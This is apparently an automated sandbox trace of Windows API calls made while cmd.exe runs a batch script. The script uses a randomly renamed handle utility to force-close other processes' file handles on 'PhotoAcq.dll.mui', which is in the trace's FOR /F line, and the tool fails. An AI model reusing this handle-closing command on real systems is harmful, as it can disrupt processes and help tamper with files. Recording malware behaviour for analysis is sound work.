GetProcessHeap () returned 0x6c0000 [0112.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4340 | out: hHeap=0x6c0000) returned 1 [0112.007] GetProcessHeap () returned 0x6c0000 [0112.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d42d0 | out: hHeap=0x6c0000) returned 1 [0112.007] GetProcessHeap () returned 0x6c0000 [0112.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4260 | out: hHeap=0x6c0000) returned 1 [0112.007] GetProcessHeap () returned 0x6c0000 [0112.008] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0db8 | out: hHeap=0x6c0000) returned 1 [0112.008] GetProcessHeap () returned 0x6c0000 [0112.008] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4200 | out: hHeap=0x6c0000) returned 1 [0112.008] GetProcessHeap () returned 0x6c0000 [0112.008] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41a0 | out: hHeap=0x6c0000) returned 1 [0112.008] GetProcessHeap () returned 0x6c0000 [0112.008] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c11d0 | out: hHeap=0x6c0000) returned 1 [0112.008] _get_osfhandle (_FileHandle=3) returned 0x78 [0112.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0112.008] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0x94, lpOverlapped=0x0) returned 1 [0112.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0112.008] _get_osfhandle (_FileHandle=3) returned 0x78 [0112.008] GetFileType (hFile=0x78) returned 0x1 [0112.008] _get_osfhandle (_FileHandle=3) returned 0x78 [0112.008] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0112.009] GetProcessHeap () returned 0x6c0000 [0112.009] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0112.009] GetProcessHeap () returned 0x6c0000 [0112.009] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4008) returned 0x6e8be0 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe) returned 0x6c0db8 [0112.010] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"PhotoAcq.dll.mui\"") returned 0x12 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0db8 | out: hHeap=0x6c0000) returned 1 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e8be0 | out: hHeap=0x6c0000) returned 1 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0112.010] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6c11d0 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x44) returned 0x6c1270 [0112.010] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x14) returned 0x6c1230 [0112.010] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c1230, Size=0x12) returned 0x6c1230 [0112.010] GetProcessHeap () returned 0x6c0000 [0112.010] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c1230) returned 0x12 [0112.010] _wcsicmp (_String1="/L", _String2="/F") returned 6 [0112.010] _wcsicmp (_String1="/D", _String2="/F") returned -2 [0112.010] _wcsicmp (_String1="/F", _String2="/F") returned 0 [0112.011] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4e) returned 0x6d41a0 [0112.011] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x24) returned 0x6d41f8 [0112.011] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d41f8, Size=0x3c) returned 0x6d41f8 [0112.011] GetProcessHeap () returned 0x6c0000 [0112.011] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d41f8) returned 0x3c [0112.012] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d41f8, Size=0x62) returned 0x6d41f8 [0112.012] GetProcessHeap () returned 0x6c0000 [0112.012] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d41f8) returned 0x62 [0112.012] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d41f8, Size=0x78) returned 0x6d41f8 [0112.012] GetProcessHeap () returned 0x6c0000 [0112.012] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d41f8) returned 0x78 [0112.012] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d4278 [0112.013] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d42d8 [0112.013] GetProcessHeap () returned 0x6c0000 [0112.013] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x22) returned 0x6d4338 [0112.013] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x54) returned 0x6d4368 [0112.015] _tell (_FileHandle=3) returned 226 [0112.015] _close (_FileHandle=3) returned 0 [0112.015] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f474 | out: _Buffer="\r\n") returned 2 [0112.015] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.015] GetFileType (hFile=0x7) returned 0x2 [0112.015] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.015] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f434 | out: lpMode=0x31f434) returned 1 [0112.016] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.016] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f460, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f460*=0x2) returned 1 [0112.017] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0112.017] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.017] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f470 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0112.017] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f470 | out: _Buffer=">") returned 1 [0112.017] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.017] GetFileType (hFile=0x7) returned 0x2 [0112.018] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.018] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f438 | out: lpMode=0x31f438) returned 1 [0112.018] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.018] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f464, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f464*=0x26) returned 1 [0112.018] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x31f6f4 | out: _Buffer="FOR") returned 3 [0112.018] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.018] GetFileType (hFile=0x7) returned 0x2 [0112.019] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.019] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0112.019] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.019] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x3) returned 1 [0112.019] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x31f6f4 | out: _Buffer=" /F") returned 3 [0112.019] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.019] GetFileType (hFile=0x7) returned 0x2 [0112.020] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.020] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0112.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.020] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x3) returned 1 [0112.020] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x31f6f4 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0112.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.020] GetFileType (hFile=0x7) returned 0x2 [0112.021] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.021] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0112.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.021] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x20) returned 1 [0112.021] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x31f6f4 | out: _Buffer=" %I IN ") returned 7 [0112.021] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.021] GetFileType (hFile=0x7) returned 0x2 [0112.022] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.022] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0112.022] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.022] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x7) returned 1 [0112.023] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x31f6f0 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner`) DO ") returned 61 [0112.023] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.023] GetFileType (hFile=0x7) returned 0x2 [0112.024] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.024] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b0 | out: lpMode=0x31f6b0) returned 1 [0112.118] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.118] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x31f6dc, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6dc*=0x3d) returned 1 [0112.118] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.118] GetFileType (hFile=0x7) returned 0x2 [0112.119] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.119] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6bc | out: lpMode=0x31f6bc) returned 1 [0112.119] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.119] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x31f6e8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x31f6e8*=0x1) returned 1 [0112.119] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.119] GetFileType (hFile=0x7) returned 0x2 [0112.120] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.120] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6a0 | out: lpMode=0x31f6a0) returned 1 [0112.120] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.120] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6d4340*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x31f6cc, lpReserved=0x0 | out: lpBuffer=0x6d4340*, lpNumberOfCharsWritten=0x31f6cc*=0xc) returned 1 [0112.120] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6d8 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0112.120] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.120] GetFileType (hFile=0x7) returned 0x2 [0112.121] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.121] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f698 | out: lpMode=0x31f698) returned 1 [0112.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.121] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f6c4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6c4*=0x26) returned 1 [0112.122] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6f4 | out: _Buffer=") ") returned 2 [0112.123] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.123] GetFileType (hFile=0x7) returned 0x2 [0112.123] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.123] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0112.123] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.123] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x2) returned 1 [0112.124] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f714 | out: _Buffer="\r\n") returned 2 [0112.124] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.124] GetFileType (hFile=0x7) returned 0x2 [0112.124] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.124] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6d4 | out: lpMode=0x31f6d4) returned 1 [0112.124] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.124] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f700, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f700*=0x2) returned 1 [0112.126] GetProcessHeap () returned 0x6c0000 [0112.126] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x2c) returned 0x6d43c8 [0112.126] GetProcessHeap () returned 0x6c0000 [0112.126] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xc) returned 0x6c0db8 [0112.126] GetProcessHeap () returned 0x6c0000 [0112.126] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xc) returned 0x6c0dd0 [0112.126] GetProcessHeap () returned 0x6c0000 [0112.126] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe) returned 0x6c0de8 [0112.126] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0112.126] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0112.126] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0112.126] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0112.126] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0112.126] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0112.126] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0112.126] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x31f630, _Radix=0 | out: _EndPtr=0x31f630*=",6 delims=: \"") returned 3 [0112.126] wcstol (in: _String="6 delims=: \"", _EndPtr=0x31f630, _Radix=0 | out: _EndPtr=0x31f630*=" delims=: \"") returned 6 [0112.126] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0112.126] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0112.126] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0112.127] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0de8 | out: hHeap=0x6c0000) returned 1 [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe) returned 0x6c0de8 [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c0db8, Size=0xe) returned 0x6c0e00 [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c0e00) returned 0xe [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c0dd0, Size=0x14) returned 0x6d4400 [0112.127] GetProcessHeap () returned 0x6c0000 [0112.127] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4400) returned 0x14 [0112.127] _wpopen (_Command="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0112.141] feof (_File=0x76be2960) returned 0 [0112.141] ferror (_File=0x76be2960) returned 0 [0112.141] GetProcessHeap () returned 0x6c0000 [0112.141] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x108) returned 0x6d4420 [0112.141] fgets (in: _Buf=0x6d4428, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0112.862] feof (_File=0x76be2960) returned 0 [0112.862] ferror (_File=0x76be2960) returned 0 [0112.862] GetProcessHeap () returned 0x6c0000 [0112.862] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4420, Size=0x208) returned 0x6d4420 [0112.862] GetProcessHeap () returned 0x6c0000 [0112.862] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4420) returned 0x208 [0112.862] fgets (in: _Buf=0x6d446e, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0112.862] feof (_File=0x76be2960) returned 0 [0112.862] ferror (_File=0x76be2960) returned 0 [0112.862] GetProcessHeap () returned 0x6c0000 [0112.862] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4420, Size=0x308) returned 0x6d4420 [0112.862] GetProcessHeap () returned 0x6c0000 [0112.862] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4420) returned 0x308 [0112.862] fgets (in: _Buf=0x6d4471, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0113.118] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0113.120] GetProcessHeap () returned 0x6c0000 [0113.120] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4420, Size=0x9e) returned 0x6d4420 [0113.120] GetProcessHeap () returned 0x6c0000 [0113.120] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4420) returned 0x9e [0113.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x6d4471, cbMultiByte=73, lpWideCharStr=0x6d4428, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0113.120] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0113.120] GetProcessHeap () returned 0x6c0000 [0113.120] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6e4bc8, Size=0x3c) returned 0x6e4bc8 [0113.120] GetProcessHeap () returned 0x6c0000 [0113.120] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6e4bc8) returned 0x3c [0113.120] GetProcessHeap () returned 0x6c0000 [0113.120] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4c10 [0113.121] GetProcessHeap () returned 0x6c0000 [0113.121] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6e4c10, Size=0xb8) returned 0x6e4c10 [0113.121] GetProcessHeap () returned 0x6c0000 [0113.121] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6e4c10) returned 0xb8 [0113.121] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f324 | out: _Buffer="\r\n") returned 2 [0113.121] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.121] GetFileType (hFile=0x7) returned 0x2 [0113.121] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.122] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f2e4 | out: lpMode=0x31f2e4) returned 1 [0113.122] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.122] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f310, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f310*=0x2) returned 1 [0113.123] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0113.123] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f320 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0113.124] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f320 | out: _Buffer=">") returned 1 [0113.124] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.124] GetFileType (hFile=0x7) returned 0x2 [0113.124] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.124] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f2e8 | out: lpMode=0x31f2e8) returned 1 [0113.124] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.124] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f314, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f314*=0x26) returned 1 [0113.124] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.124] GetFileType (hFile=0x7) returned 0x2 [0113.125] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.125] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f56c | out: lpMode=0x31f56c) returned 1 [0113.125] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.125] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x31f598, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x31f598*=0x1) returned 1 [0113.125] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.125] GetFileType (hFile=0x7) returned 0x2 [0113.126] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.126] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f550 | out: lpMode=0x31f550) returned 1 [0113.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.126] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6e4bd0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x31f57c, lpReserved=0x0 | out: lpBuffer=0x6e4bd0*, lpNumberOfCharsWritten=0x31f57c*=0xc) returned 1 [0113.126] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f588 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0113.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.126] GetFileType (hFile=0x7) returned 0x2 [0113.127] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.127] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f548 | out: lpMode=0x31f548) returned 1 [0113.127] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.127] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x31f574, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f574*=0x2c) returned 1 [0113.128] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f5a4 | out: _Buffer=") ") returned 2 [0113.128] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.128] GetFileType (hFile=0x7) returned 0x2 [0113.128] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.128] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f564 | out: lpMode=0x31f564) returned 1 [0113.129] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.129] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f590, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f590*=0x2) returned 1 [0113.129] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f5c4 | out: _Buffer="\r\n") returned 2 [0113.129] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.129] GetFileType (hFile=0x7) returned 0x2 [0113.129] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.129] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f584 | out: lpMode=0x31f584) returned 1 [0113.130] _get_osfhandle (_FileHandle=1) returned 0x7 [0113.130] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f5b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f5b0*=0x2) returned 1 [0113.131] GetConsoleTitleW (in: lpConsoleTitle=0x31f0d4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.132] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d4770, lpFilePart=0x31ebf4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", 